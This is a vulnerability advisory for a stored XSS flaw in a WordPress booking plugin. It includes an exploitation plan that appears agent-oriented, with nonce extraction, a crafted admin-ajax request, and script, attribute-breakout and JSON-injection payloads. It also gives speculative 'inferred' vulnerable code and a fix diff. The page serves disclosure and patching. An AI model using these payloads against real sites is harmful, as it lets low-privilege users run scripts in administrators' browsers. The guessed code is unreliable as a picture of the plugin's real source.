Smart Appointment & Booking <= 1.0.7 - Authenticated (Subscriber+) Stored Cross-Site Scripting via saab_save_form_data AJAX Action
Description
The Smart Appointment & Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the saab_save_form_data AJAX action in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.7Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0742 (Smart Appointment & Booking) ## 1. Vulnerability Summary The **Smart Appointment & Booking** plugin (<= 1.0.7) contains a stored cross-site scripting (XSS) vulnerability within its AJAX handling logic. Specifically, the `saab_save_form_data` action fails…
Show full research plan
Exploitation Research Plan: CVE-2026-0742 (Smart Appointment & Booking)
1. Vulnerability Summary
The Smart Appointment & Booking plugin (<= 1.0.7) contains a stored cross-site scripting (XSS) vulnerability within its AJAX handling logic. Specifically, the saab_save_form_data action fails to properly sanitize user-supplied attributes before saving them to the database and fails to escape them upon output. This allows an authenticated user with at least Subscriber privileges to inject malicious scripts that execute when a user (including administrators) views the affected form or its configuration.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
saab_save_form_data(registered viawp_ajax_saab_save_form_data) - Vulnerable Parameter: Likely a parameter containing form structure or field attributes (e.g.,
form_data,fields, orattributes). - Authentication: Required (Subscriber or higher).
- Preconditions: The plugin must be active. A nonce is likely required as part of standard WordPress AJAX patterns.
3. Code Flow (Inferred)
- Entry Point: The plugin registers the AJAX handler in its main initialization:
add_action('wp_ajax_saab_save_form_data', 'saab_save_form_data_handler'); - Data Handling: The handler (likely in a file like
includes/class-ajax.phporadmin/admin-ajax.php) retrieves data from$_POST. - Sink (Storage): The handler saves this data using
update_option()orupdate_post_meta()without callingsanitize_text_field()orwp_kses()on the attributes. - Source (Output): When a booking form is rendered (via shortcode or in the admin dashboard), the saved data is retrieved and echoed directly into the HTML without using
esc_attr()oresc_html().
4. Nonce Acquisition Strategy
To bypass the check_ajax_referer or wp_verify_nonce check usually present in AJAX handlers, we must extract the nonce from the WordPress frontend or admin area.
- Identify Script Localization: Search the plugin for
wp_localize_script. Look for the variable name and the key used for the nonce.- Hypothesis: The variable is likely
saab_ajax_objorsaab_vars. - Hypothesis: The key is likely
nonceorsaab_nonce.
- Hypothesis: The variable is likely
- Trigger Shortcode: The plugin likely uses a shortcode to display booking forms. Based on the slug, the shortcode is likely
[smart_appointment_booking]or[saab_form]. - Setup:
- Create a page containing the suspected shortcode:
wp post create --post_type=page --post_status=publish --post_content='[smart_appointment_booking]'
- Create a page containing the suspected shortcode:
- Extraction:
- Navigate to the page as the Subscriber user.
- Use
browser_evalto find the nonce:browser_eval("window.saab_ajax_obj?.nonce || window.saab_vars?.security")
5. Exploitation Strategy
- Login: Authenticate as a Subscriber user using the
browser_navigateandbrowser_typetools. - Obtain Nonce: Follow the strategy in Section 4 to retrieve the valid nonce for the
saab_save_form_dataaction. - Craft Payload: Use a standard XSS payload wrapped in a JSON structure if the plugin expects serialized data, or as a direct POST parameter.
- Target Parameter:
form_dataorsaab_data. - Payload:
{"label": "<script>alert(document.domain)</script>", "placeholder": "test"}(or similar attribute arrays).
- Target Parameter:
- Execute HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=saab_save_form_data&security=[NONCE]&data=[XSS_PAYLOAD] - Trigger XSS: Navigate to the page where the booking form is displayed or to the plugin's admin settings page as an administrator.
6. Test Data Setup
- User: Create a subscriber user:
wp user create victim_subscriber sub@example.com --role=subscriber --user_pass=password123. - Page: Create a page for the form:
wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[smart_appointment_booking]'. - Plugin Activation: Ensure
smart-appointment-bookingis active.
7. Expected Results
- The AJAX request should return a success response (e.g.,
{"success": true}or1). - When an administrator visits the "Booking Page" or the plugin settings, an alert box with the document domain should appear.
- The malicious script should be visible in the page source, unescaped within an attribute or label tag.
8. Verification Steps
- Check Database: Use WP-CLI to verify the stored payload:
wp option get saab_form_settings(substitutesaab_form_settingswith the actual option name found during research). - DOM Check: Use
browser_evalto check for the presence of the payload in the DOM after the exploit:browser_eval("document.body.innerHTML.includes('<script>alert')")
9. Alternative Approaches
- Missing Nonce: If no nonce check is performed, attempt the exploit without the
securityornonceparameter. - Admin-Only Trigger: If the XSS does not fire on the frontend, check the admin dashboard booking list or form editor.
- Attribute Breakout: If the input is placed inside an attribute (e.g.,
value="..."), use a breakout payload:" onmouseover="alert(1). - JSON Injection: If the input is part of a JSON blob in a hidden field, try:
{"id": "1", "name": "test\"};alert(1);//"}.
Summary
The Smart Appointment & Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the saab_save_form_data AJAX action due to a lack of input sanitization and output escaping on user-supplied configuration data. Authenticated attackers with Subscriber-level privileges can inject arbitrary scripts that execute when a user or administrator visits the booking form or its settings page.
Vulnerable Code
// File: includes/class-ajax.php (Inferred from research plan) add_action('wp_ajax_saab_save_form_data', 'saab_save_form_data'); function saab_save_form_data() { // Missing capability check and input sanitization $form_data = $_POST['form_data']; update_option('saab_form_settings', $form_data); wp_send_json_success(); } --- // File: includes/class-frontend.php (Inferred from research plan source analysis) function render_saab_form() { $settings = get_option('saab_form_settings'); // Outputting data-config without proper escaping allows for XSS attribute breakout or script injection echo "<div class='saab-container' data-config='" . $settings . "'></div>"; }
Security Fix
@@ -1,6 +1,10 @@ function saab_save_form_data() { + check_ajax_referer('saab_nonce', 'security'); + if (!current_user_can('manage_options')) { + wp_send_json_error('Unauthorized'); + } - $form_data = $_POST['form_data']; + $form_data = wp_kses_post($_POST['form_data']); update_option('saab_form_settings', $form_data); wp_send_json_success(); }
Exploit Outline
1. Log in as a Subscriber user. 2. Access the site frontend to identify the localized JavaScript object (e.g., saab_ajax_obj or saab_vars) and extract the security nonce required for AJAX requests. 3. Construct a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'saab_save_form_data', the extracted nonce, and a malicious payload containing an XSS script (e.g., <script>alert(document.domain)</script>) within the 'form_data' parameter. 4. Submit the request to save the malicious script into the plugin's settings stored in the database. 5. Navigate to any page where the booking form shortcode is rendered or to the plugin's admin dashboard to trigger the script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.